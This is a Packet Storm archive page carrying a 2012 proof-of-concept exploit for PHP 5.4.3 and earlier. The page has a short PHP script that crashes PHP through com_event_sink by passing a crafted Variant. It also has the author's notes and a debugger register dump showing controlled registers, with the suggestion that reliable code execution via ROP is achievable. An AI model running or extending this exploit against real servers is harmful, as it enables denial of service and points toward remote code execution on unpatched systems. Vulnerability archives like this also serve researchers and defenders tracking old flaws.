exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP 5.4.3 com_event_sink Denial Of Service

PHP 5.4.3 com_event_sink Denial Of Service
Posted May 21, 2012
Authored by condis

PHP versions 5.4.3 and below com_event_sink denial of service exploit.

tags | exploit, denial of service, php
SHA-256 | f9e58d76235326111668e7a07024e4373c09a94c235cdd96324ef0f57eeebd16

PHP 5.4.3 com_event_sink Denial Of Service

Change Mirror Download
<?php

/*

PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept
Found by condis
Website: http://cond.psychodela.pl

Tested on:

PHP 5.3.8 + Windows XP SP3 Professional PL
PHP 5.3.10 + Windows XP SP3 Professional PL
PHP 5.4.0 + Windows XP SP3 Professional PL
PHP 5.4.3 + Windows XP SP3 Professional PL

Description:

This is a very strange bug and I had a really hard time trying to classify
it, but lets start from the beginning.

As we can read in PHP manual : com_event_sink function connects events from
COM object to a PHP object. First argument should be a COM object. But when
I set it up to new Variant(), PHP instance crashed.

After few minutes of research it was clear to me that we can control EAX
register by defining first parameter of our Variant object.

The proof of concept code located below should produce situation similar to
this :

eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000
eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202

100f33d4 50 push eax
100f33d5 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=????????
100f33d7 ffd0 call eax

IMHO it is possible to write a reliable exploit using i.e.: ROP method but due
to lack of free time and skill I leave this task to someone else. Also 0in tried
to write stable exploit for same bug in com_print_typeinfo() function but as far
as I know it isn't stable enough :(


Greetz: cxib, 0in, and others ;>

*/

$EAX = 0x024E0050; // stack starts at 0x024E0050 (in my case)
$stack = str_repeat("x41", 0x1000000); // putting some garbage on the stack so the ECX would be 41414141

class foo { }
com_event_sink(new Variant($EAX), new foo(), array());

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close